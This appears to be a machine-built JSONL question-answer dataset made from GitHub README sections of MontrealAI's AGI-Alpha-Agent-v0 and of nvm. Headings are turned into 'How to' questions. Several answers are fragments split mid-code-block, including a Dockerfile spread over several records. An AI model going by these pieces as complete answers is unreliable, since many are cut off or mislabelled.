{"id": "gh_fe7053b7db4c", "question": "How to: 9 · Observability 🔭", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "| Signal | Sink | Example |\n|--------|------|---------|\n| Metrics | Prometheus | `alpha_pnl_realised_usd` |\n| Traces | OpenTelemetry | `trace_id` |\n| Dashboards | Grafana | `alpha-factory/trade-lifecycle.json` |\n\nPrometheus scrapes metrics from the API server at `/metrics`.\n\nBy default traces and metrics print to ``stdout``. To export to a collector such\nas **Jaeger**, set ``OTEL_EXPORTER_OTLP_ENDPOINT`` and start Jaeger locally:\n\n```bash\ndocker run -p 16686:16686 -p 4317:4317 jaegertracing/all-in-one\n```\n\nSet ``OTEL_ENDPOINT`` to enable anonymous dashboard telemetry. Users are\nprompted for consent before any metrics are sent.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577992"}
{"id": "gh_5cf84006c609", "question": "How to: Telemetry Queue", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Anonymous usage metrics are buffered in the browser under the\n`telemetryQueue` key in `localStorage`. Each record includes:\n\n- `ts` – the timestamp when the entry was recorded.\n- `session` – a deterministic SHA‑256 hash identifying the session.\n- `generations` – how many runs were executed.\n- `shares` – how many times results were shared.\n\nWhen the browser is online the queue is flushed to ``OTEL_ENDPOINT`` using\n`navigator.sendBeacon` with a `fetch` fallback. The queue holds at most 100\nentries and is persisted across page loads until sent. No personal data or IP\naddresses are stored.\n\nTelemetry can be disabled from the Analytics panel by clicking **Disable\ntelemetry**. Clearing the `telemetryConsent` and `telemetryQueue` entries in\nbrowser storage also stops all transmissions.\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577999"}
{"id": "gh_d5a9ca4abdea", "question": "How to: 10 · Safety & Security 🛡️", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "The [policy runbook](https://montrealai.github.io/AGI-Alpha-Agent-v0/) outlines sandbox resource limits,\ntimeout behaviour, required human review and rollback steps.\nOperational tips for the governance module reside in the\n[documentation](https://montrealai.github.io/AGI-Alpha-Agent-v0/).\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.578005"}
{"id": "gh_642fb56d3cb7", "question": "How to: 11 · Extending the Mesh 🔌", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "```python\nfrom backend.agents.base import AgentBase\n\nclass MySuperAgent(AgentBase):\n    NAME = \"super\"\n    CAPABILITIES = [\"telemetry_fusion\"]\n    COMPLIANCE_TAGS = [\"gdpr_minimal\"]\n\n    async def run_cycle(self):\n        ...", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.578011"}
{"id": "gh_c9f2543fbbe2", "question": "How to: setup.py entrypoint", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "[project.entry-points.\"alpha_factory.agents\"]\nsuper = my_pkg.super_agent:MySuperAgent\n```\n`pip install .` → orchestrator hot‑loads at next boot.\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.578016"}
{"id": "gh_dbc6d97f6ec5", "question": "How to: 12 · Troubleshooting 🛠️", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "| Symptom | Cause | Fix |\n|---------|-------|-----|\n| `ImportError: faiss` | FAISS missing | `pip install faiss-cpu` |\n| Agent quarantined | exceptions | Check logs, clear flag |\n| Kafka refuse | broker down | unset `ALPHA_KAFKA_BROKER` |\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.578021"}
{"id": "gh_c244745f5d61", "question": "How to: 13 · Roadmap 🛣️", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "1. **RL‑on‑Execution** — slippage‑aware order routing  \n2. **Federated Mesh** — cross‑org agent exchange via ADK federation  \n3. **World‑Model Audits** — interpretable probes of latents  \n4. **Industry Packs** — Health‑Care, Gov‑Tech  \n5. **Provable Safety ℙ** — Coq proofs for Actuators  \n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.578028"}
{"id": "gh_3a2334706f41", "question": "How to: 14 · Credits 🌟", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "[Vincent Boucher](https://www.linkedin.com/in/montrealai/)—pioneer in AI and President of\n[MONTREAL.AI](https://www.montreal.ai/) since 2003—dominated the\n[OpenAI Gym](https://web.archive.org/web/20170929214241/https://gym.openai.com/read-only.html) with **AI Agents**\nin 2016 and unveiled the seminal [**“Multi‑Agent AI DAO”**](https://www.quebecartificialintelligence.com/priorart)\nin 2017.\n\nOur **AGI ALPHA AGENT**, fuelled by the strictly‑utility **$AGIALPHA** token, now taps that foundation to unleash the\nultimate α‑signal engine.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.578035"}
{"id": "gh_0bd243ccb41b", "question": "How to: AGIALPHA Token", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "- **Address:** `0xa61a3b3a130a9c20768eebf97e21515a6046a1fa`\n- **Decimals:** `18` (ERC‑20 standard; 1 token = 1e18 base units)\n- **Config defaults:** `token.config.js` pins the token wiring for builds and\n  tests; override with `AGIALPHA_ADDRESS` / `AGIALPHA_DECIMALS` environment\n  variables when deploying to alternate networks.\n\n#### ERC‑20 Approvals\n\nStaking and job escrow pull funds via `transferFrom`, so each account must\n`approve` the `StakeManager` contract before staking or posting a job. `$AGIALPHA`\nuses 18 decimals, meaning `1e18` represents one token.\n\n```bash", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.578042"}
{"id": "gh_777704d320a8", "question": "How to: Allow the StakeManager to move 100 AGIALPHA for your stake", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "cast send 0xa61a3b3a130a9c20768eebf97e21515a6046a1fa \\\n  \"approve(address,uint256)\" $STAKEMANAGER 100e18", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.578046"}
{"id": "gh_f98bd3fb83f7", "question": "How to: Authorize 50 AGIALPHA to be locked as job escrow", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "cast send 0xa61a3b3a130a9c20768eebf97e21515a6046a1fa \\\n  \"approve(address,uint256)\" $STAKEMANAGER 50e18\n```\n\nReplace `$STAKEMANAGER` with the deployed contract address.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.578051"}
{"id": "gh_919896f74947", "question": "How to: 15 · License", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "This project is distributed under the [Apache 2.0](https://github.com/MontrealAI/AGI-Alpha-Agent-v0/blob/main/LICENSE) license.\nAll community members are expected to follow our [Code of Conduct](CODE_OF_CONDUCT.md).\nPlease report security issues via the process outlined in our [Security Policy](SECURITY.md).", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.578057"}
{"id": "gh_b2b2506f5d36", "question": "How to: Release Tweet", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "```\n🚀 New Alpha-Factory release! Offline dashboard, responsive UI and automated visual tests powered by Percy.\n```", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.578062"}
{"id": "gh_356678a04a8b", "question": "How to: 16 · Final Note", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Please ensure all usage and contributions align with the project's\n[Apache 2.0 license](https://github.com/MontrealAI/AGI-Alpha-Agent-v0/blob/main/LICENSE).\n---\n\n*Made with ❤️ by the Alpha‑Factory Agentic Core Team — forging the tools that forge tomorrow.*", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.578068"}
{"id": "gh_48d7c3937fbc", "question": "How to: Table of Contents", "question_body": "About nvm-sh/nvm", "answer": "- [Intro](#intro)\n- [About](#about)\n- [Installing and Updating](#installing-and-updating)\n  - [Install & Update Script](#install--update-script)\n    - [Additional Notes](#additional-notes)\n    - [Installing in Docker](#installing-in-docker)\n      - [Installing in Docker for CICD-Jobs](#installing-in-docker-for-cicd-jobs)\n    - [Troubleshooting on Linux](#troubleshooting-on-linux)\n    - [Troubleshooting on macOS](#troubleshooting-on-macos)\n    - [Ansible](#ansible)\n  - [Verify Installation](#verify-installation)\n  - [Important Notes](#important-notes)\n  - [Git Install](#git-install)\n  - [Manual Install](#manual-install)\n  - [Manual Upgrade](#manual-upgrade)\n- [Usage](#usage)\n  - [Long-term Support](#long-term-support)\n  - [Migrating Global Packages While Installing](#migrating-global-packages-while-installing)\n  - [Default Global Packages From File While Installing](#default-global-packages-from-file-while-installing)\n  - [io.js](#iojs)\n  - [System Version of Node](#system-version-of-node)\n  - [Listing Versions](#listing-versions)\n  - [Setting Custom Colors](#setting-custom-colors)\n    - [Persisting custom colors](#persisting-custom-colors)\n    - [Suppressing colorized output](#suppressing-colorized-output)\n  - [Restoring PATH](#restoring-path)\n  - [Set default node version](#set-default-node-version)\n  - [Use a mirror of node binaries](#use-a-mirror-of-node-binaries)\n    - [Pass Authorization header to mirror](#pass-authorization-header-to-mirror)\n  - [.nvmrc](#nvmrc)\n  - [Deeper Shell Integration](#deeper-shell-integration)\n    - [Calling `nvm use` automatically in a directory with a `.nvmrc` file](#calling-nvm-use-automatically-in-a-directory-with-a-nvmrc-file)\n      - [bash](#bash)\n      - [zsh](#zsh)\n      - [fish](#fish)\n- [Running Tests](#running-tests)\n- [Environment variables](#environment-variables)\n- [Bash Completion](#bash-completion)\n  - [Usage](#usage-1)\n- [Compatibility Issues](#compatibility-issues)\n- [Installing nvm on Alpine Linux](#installing-nvm-on-alpine-linux)\n  - [Alpine Linux 3.13+](#alpine-linux-313)\n  - [Alpine Linux 3.5 - 3.12](#alpine-linux-35---312)\n- [Uninstalling / Removal](#uninstalling--removal)\n  - [Manual Uninstall](#manual-uninstall)\n- [Docker For Development Environment](#docker-for-development-environment)\n- [Problems](#problems)\n- [macOS Troubleshooting](#macos-troubleshooting)\n- [WSL Troubleshooting](#wsl-troubleshooting)\n- [Maintainers](#maintainers)\n- [Project Support](#project-support)\n- [Enterprise Support](#enterprise-support)\n- [License](#license)\n- [Copyright notice](#copyright-notice)", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205164"}
{"id": "gh_c0bfb10970c5", "question": "How to: Install & Update Script", "question_body": "About nvm-sh/nvm", "answer": "To **install** or **update** nvm, you should run the [install script][2]. To do that, you may either download and run the script manually, or use the following cURL or Wget command:\n```sh\ncurl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash\n```\n```sh\nwget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash\n```\n\nRunning either of the above commands downloads a script and runs it. The script clones the nvm repository to `~/.nvm`, and attempts to add the source lines from the snippet below to the correct profile file (`~/.bashrc`, `~/.bash_profile`, `~/.zshrc`, or `~/.profile`). If you find the install script is updating the wrong profile file, set the `$PROFILE` env var to the profile file’s path, and then rerun the installation script.\n```sh\nexport NVM_DIR=\"$([ -z \"${XDG_CONFIG_HOME-}\" ] && printf %s \"${HOME}/.nvm\" || printf %s \"${XDG_CONFIG_HOME}/nvm\")\"\n[ -s \"$NVM_DIR/nvm.sh\" ] && \\. \"$NVM_DIR/nvm.sh\" # This loads nvm\n```\n\n#### Additional Notes\n\n- If the environment variable `$XDG_CONFIG_HOME` is present, it will place the `nvm` files there.\n\n- You can add `--no-use` to the end of the above script to postpone using `nvm` until you manually [`use`](#usage) it:\n\n```sh\nexport NVM_DIR=\"$([ -z \"${XDG_CONFIG_HOME-}\" ] && printf %s \"${HOME}/.nvm\" || printf %s \"${XDG_CONFIG_HOME}/nvm\")\"\n[ -s \"$NVM_DIR/nvm.sh\" ] && \\. \"$NVM_DIR/nvm.sh\" --no-use # This loads nvm, without auto-using the default version\n```\n\n- You can customize the install source, directory, profile, and version using the `NVM_SOURCE`, `NVM_DIR`, `PROFILE`, and `NODE_VERSION` variables.\nEg: `curl ... | NVM_DIR=\"path/to/nvm\"`. Ensure that the `NVM_DIR` does not contain a trailing slash.\n\n- The installer can use `git`, `curl`, or `wget` to download `nvm`, whichever is available.\n\n- You can instruct the installer to not edit your shell config (for example if you already get completions via a [zsh nvm plugin](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/nvm)) by setting `PROFILE=/dev/null` before running the `install.sh` script. Here's an example one-line command to do that: `PROFILE=/dev/null bash -c 'curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash'`\n\n#### Installing in Docker\n\nWhen invoking bash as a non-interactive shell, like in a Docker container, none of the regular profile files are sourced. In order to use `nvm`, `node`, and `npm` like normal, you can instead specify the special `BASH_ENV` variable, which bash sources when invoked non-interactively.\n\n```Dockerfile", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205184"}
{"id": "gh_bd6a7f5a705c", "question": "How to: Create a script file sourced by both interactive and non-interactive bash shells", "question_body": "About nvm-sh/nvm", "answer": "ENV BASH_ENV /home/user/.bash_env\nRUN touch \"${BASH_ENV}\"\nRUN echo '. \"${BASH_ENV}\"' >> ~/.bashrc", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 90880, "answer_score": 10, "has_code": false, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205191"}
{"id": "gh_92cbec3c5acb", "question": "How to: Download and install nvm", "question_body": "About nvm-sh/nvm", "answer": "RUN curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | PROFILE=\"${BASH_ENV}\" bash\nRUN echo node > .nvmrc\nRUN nvm install\n```\n\n##### Installing in Docker for CICD-Jobs\n\nMore robust, works in CI/CD-Jobs. Can be run in interactive and non-interactive containers.\nSee https://github.com/nvm-sh/nvm/issues/3531.\n\n```Dockerfile\nFROM ubuntu:latest\nARG NODE_VERSION=20", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205196"}
{"id": "gh_177a42d06d45", "question": "How to: install nvm", "question_body": "About nvm-sh/nvm", "answer": "RUN curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 90880, "answer_score": 10, "has_code": false, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205201"}
{"id": "gh_8f3de2c0bd89", "question": "How to: install node", "question_body": "About nvm-sh/nvm", "answer": "RUN bash -c \"source $NVM_DIR/nvm.sh && nvm install $NODE_VERSION\"", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 90880, "answer_score": 10, "has_code": false, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205206"}
{"id": "gh_39b36ebc5215", "question": "How to: set ENTRYPOINT for reloading nvm-environment", "question_body": "About nvm-sh/nvm", "answer": "ENTRYPOINT [\"bash\", \"-c\", \"source $NVM_DIR/nvm.sh && exec \\\"$@\\\"\", \"--\"]", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 90880, "answer_score": 10, "has_code": false, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205210"}
{"id": "gh_d7322a030794", "question": "How to: set cmd to bash", "question_body": "About nvm-sh/nvm", "answer": "CMD [\"/bin/bash\"]\n\n```\n\nThis example defaults to installation of nodejs version 20.x.y. Optionally you can easily override the version with docker build args like:\n```\ndocker build -t nvmimage --build-arg NODE_VERSION=19 .\n```\n\nAfter creation of the image you can start container interactively and run commands, for example:\n```\ndocker run --rm -it nvmimage\n\nroot@0a6b5a237c14:/# nvm -v\n0.40.3\n\nroot@0a6b5a237c14:/# node -v\nv19.9.0\n\nroot@0a6b5a237c14:/# npm -v\n9.6.3\n```\n\nNoninteractive example:\n```\nuser@host:/tmp/test $ docker run --rm -it nvmimage node -v\nv19.9.0\nuser@host:/tmp/test $ docker run --rm -it nvmimage npm -v\n9.6.3\n```\n\n#### Troubleshooting on Linux\n\nOn Linux, after running the install script, if you get `nvm: command not found` or see no feedback from your terminal after you type `command -v nvm`, simply close your current terminal, open a new terminal, and try verifying again.\nAlternatively, you can run the following commands for the different shells on the command line:\n\n*bash*: `source ~/.bashrc`\n\n*zsh*: `source ~/.zshrc`\n\n*ksh*: `. ~/.profile`\n\nThese should pick up the `nvm` command.\n\n#### Troubleshooting on macOS\n\nSince OS X 10.9, `/usr/bin/git` has been preset by Xcode command line tools, which means we can't properly detect if Git is installed or not. You need to manually install the Xcode command line tools before running the install script, otherwise, it'll fail. (see [#1782](https://github.com/nvm-sh/nvm/issues/1782))\n\nIf you get `nvm: command not found` after running the install script, one of the following might be the reason:\n\n  - Since macOS 10.15, the default shell is `zsh` and nvm will look for `.zshrc` to update, none is installed by default. Create one with `touch ~/.zshrc` and run the install script again.\n\n  - If you use bash, the previous default shell, your system may not have `.bash_profile` or `.bashrc` files where the command is set up. Create one of them with `touch ~/.bash_profile` or `touch ~/.bashrc` and run the install script again. Then, run `. ~/.bash_profile` or `. ~/.bashrc` to pick up the `nvm` command.\n\n  - You have previously used `bash`, but you have `zsh` installed. You need to manually add [these lines](#manual-install) to `~/.zshrc` and run `. ~/.zshrc`.\n\n  - You might need to restart your terminal instance or run `. ~/.nvm/nvm.sh`. Restarting your terminal/opening a new tab/window, or running the source command will load the command and the new configuration.\n\n  - If the above didn't help, you might need to restart your terminal instance. Try opening a new tab/window in your terminal and retry.\n\nIf the above doesn't fix the problem, you may try the following:\n\n  - If you use bash, it may be that your `.bash_profile` (or `~/.profile`) does not source your `~/.bashrc` properly. You could fix this by adding `source ~/\n` to it or following the next step below.\n\n  - Try adding [the snippet from the install section](#profile_snippet), that finds the correct nvm directory and loads nvm, to your usual profile (`~/.bash_profile`, `~/.zshrc`, `~/.profile`, or `~/.bashrc`).\n\n  - For more information about this issue and possible workarounds, please [refer here](https://github.com/nvm-sh/nvm/issues/576)\n\n**Note** For Macs with the Apple Silicon chip, node started offering **arm64** arch Darwin packages since v16.0.0 and experimental **arm64** support when compiling from source since v14.17.0. If you are facing issues installing node using `nvm`, you may want to update to one of those versions or later.\n\n#### Ansible\n\nYou can use a task:\n\n```yaml\n- name: Install nvm\n  ansible.builtin.shell: >\n    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash\n  args:\n    creates: \"{{ ansible_env.HOME }}/.nvm/nvm.sh\"\n```", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205221"}
{"id": "gh_7a511fe62081", "question": "How to: Verify Installation", "question_body": "About nvm-sh/nvm", "answer": "To verify that nvm has been installed, do:\n\n```sh\ncommand -v nvm\n```\n\nwhich should output `nvm` if the installation was successful. Please note that `which nvm` will not work, since `nvm` is a sourced shell function, not an executable binary.\n\n**Note:** On Linux, after running the install script, if you get `nvm: command not found` or see no feedback from your terminal after you type `command -v nvm`, simply close your current terminal, open a new terminal, and try verifying again.", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205227"}
{"id": "gh_153be54a6022", "question": "How to: Important Notes", "question_body": "About nvm-sh/nvm", "answer": "If you're running a system without prepackaged binary available, which means you're going to install node or io.js from its source code, you need to make sure your system has a C++ compiler. For OS X, Xcode will work, for Debian/Ubuntu based GNU/Linux, the `build-essential` and `libssl-dev` packages work.\n\n**Note:** `nvm` also supports Windows in some cases. It should work through WSL (Windows Subsystem for Linux) depending on the version of WSL. It should also work with [GitBash](https://gitforwindows.org/) (MSYS) or [Cygwin](https://cygwin.com). Otherwise, for Windows, a few alternatives exist, which are neither supported nor developed by us:\n\n  - [nvm-windows](https://github.com/coreybutler/nvm-windows)\n  - [nodist](https://github.com/marcelklehr/nodist)\n  - [nvs](https://github.com/jasongin/nvs)\n\n**Note:** `nvm` does not support [Fish] either (see [#303](https://github.com/nvm-sh/nvm/issues/303)). Alternatives exist, which are neither supported nor developed by us:\n\n  - [bass](https://github.com/edc/bass) allows you to use utilities written for Bash in fish shell\n  - [fast-nvm-fish](https://github.com/brigand/fast-nvm-fish) only works with version numbers (not aliases) but doesn't significantly slow your shell startup\n  - [plugin-nvm](https://github.com/derekstavis/plugin-nvm) plugin for [Oh My Fish](https://github.com/oh-my-fish/oh-my-fish), which makes nvm and its completions available in fish shell\n  - [nvm.fish](https://github.com/jorgebucaran/nvm.fish) - The Node.js version manager you'll adore, crafted just for Fish\n  - [fish-nvm](https://github.com/FabioAntunes/fish-nvm) - Wrapper around nvm for fish, delays sourcing nvm until it's actually used.\n\n**Note:** We still have some problems with FreeBSD, because there is no official pre-built binary for FreeBSD, and building from source may need [patches](https://www.freshports.org/www/node/files/patch-deps_v8_src_base_platform_platform-posix.cc); see the issue ticket:\n\n  - [[#900] [Bug] node on FreeBSD may need to be patched](https://github.com/nvm-sh/nvm/issues/900)\n  - [nodejs/node#3716](https://github.com/nodejs/node/issues/3716)\n\n**Note:** On OS X, if you do not have Xcode installed and you do not wish to download the ~4.3GB file, you can install the `Command Line Tools`. You can check out this blog post on how to just that:\n\n  - [How to Install Command Line Tools in OS X Mavericks & Yosemite (Without Xcode)](https://osxdaily.com/2014/02/12/install-command-line-tools-mac-os-x/)\n\n**Note:** On OS X, if you have/had a \"system\" node installed and want to install modules globally, keep in mind that:\n\n  - When using `nvm` you do not need `sudo` to globally install a module with `npm -g`, so instead of doing `sudo npm install -g grunt`, do instead `npm install -g grunt`\n  - If you have an `~/.npmrc` file, make sure it does not contain any `prefix` settings (which is not compatible with `nvm`)\n  - You can (but should not?) keep your previous \"system\" node install, but `nvm` will only be available to your user account (the one used to install nvm). This might cause version mismatches, as other users will be using `/usr/local/lib/node_modules/*` VS your user account using `~/.nvm/versions/node/vX.X.X/lib/node_modules/*`\n\nHomebrew installation is not supported. If you have issues with homebrew-installed `nvm`, please `brew uninstall` it, and install it using the instructions below, before filing an issue.\n\n**Note:** If you're using `zsh` you can easily install `nvm` as a zsh plugin. Install [`zsh-nvm`](https://github.com/lukechilds/zsh-nvm) and run `nvm upgrade` to upgrade ([you can set](https://github.com/lukechilds/zsh-nvm#auto-use) `NVM_AUTO_USE=true` to have it automatically detect and use `.nvmrc` files).\n\n**Note:** Git versions before v1.7 may face a problem of cloning `nvm` source from GitHub via https protocol, and there is also different behavior of git before v1.6, and git prior to [v1.17.10](https://github.com/git/git/commit/5a7d5b683f869d3e3884a89775241afa515da9e7) can not clone tags, so the minimum required git version is v1.7.10. If you are interested in the problem we mentioned here, please refer to GitHub's [HTTPS cloning errors](https://help.github.com/articles/https-cloning-errors/) article.", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 90880, "answer_score": 10, "has_code": false, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205245"}
{"id": "gh_32ea9cffa2ed", "question": "How to: Git Install", "question_body": "About nvm-sh/nvm", "answer": "If you have `git` installed (requires git v1.7.10+):\n\n1. clone this repo in the root of your user profile\n    - `cd ~/` from anywhere then `git clone https://github.com/nvm-sh/nvm.git .nvm`\n1. `cd ~/.nvm` and check out the latest version with `git checkout v0.40.3`\n1. activate `nvm` by sourcing it from your shell: `. ./nvm.sh`\n\nNow add these lines to your `~/.bashrc`, `~/.profile`, or `~/.zshrc` file to have it automatically sourced upon login:\n(you may have to add to more than one of the above files)\n\n```sh\nexport NVM_DIR=\"$HOME/.nvm\"\n[ -s \"$NVM_DIR/nvm.sh\" ] && \\. \"$NVM_DIR/nvm.sh\"  # This loads nvm\n[ -s \"$NVM_DIR/bash_completion\" ] && \\. \"$NVM_DIR/bash_completion\"  # This loads nvm bash_completion\n```", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205253"}
{"id": "gh_3718a0864a8a", "question": "How to: Manual Install", "question_body": "About nvm-sh/nvm", "answer": "For a fully manual install, execute the following lines to first clone the `nvm` repository into `$HOME/.nvm`, and then load `nvm`:\n\n```sh\nexport NVM_DIR=\"$HOME/.nvm\" && (\n  git clone https://github.com/nvm-sh/nvm.git \"$NVM_DIR\"\n  cd \"$NVM_DIR\"\n  git checkout `git describe --abbrev=0 --tags --match \"v[0-9]*\" $(git rev-list --tags --max-count=1)`\n) && \\. \"$NVM_DIR/nvm.sh\"\n```\n\nNow add these lines to your `~/.bashrc`, `~/.profile`, or `~/.zshrc` file to have it automatically sourced upon login:\n(you may have to add to more than one of the above files)\n\n```sh\nexport NVM_DIR=\"$HOME/.nvm\"\n[ -s \"$NVM_DIR/nvm.sh\" ] && \\. \"$NVM_DIR/nvm.sh\" # This loads nvm\n[ -s \"$NVM_DIR/bash_completion\" ] && \\. \"$NVM_DIR/bash_completion\"  # This loads nvm bash_completion\n```", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205261"}
{"id": "gh_d433fe04ee2f", "question": "How to: Manual Upgrade", "question_body": "About nvm-sh/nvm", "answer": "For manual upgrade with `git` (requires git v1.7.10+):\n\n1. change to the `$NVM_DIR`\n1. pull down the latest changes\n1. check out the latest version\n1. activate the new version\n\n```sh\n(\n  cd \"$NVM_DIR\"\n  git fetch --tags origin\n  git checkout `git describe --abbrev=0 --tags --match \"v[0-9]*\" $(git rev-list --tags --max-count=1)`\n) && \\. \"$NVM_DIR/nvm.sh\"\n```", "tags": ["nvm-sh"], "source": "github_gists", "category": "nvm-sh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 90880, "answer_score": 10, "has_code": true, "url": "https://github.com/nvm-sh/nvm", "collected_at": "2026-01-17T12:57:23.205269"}
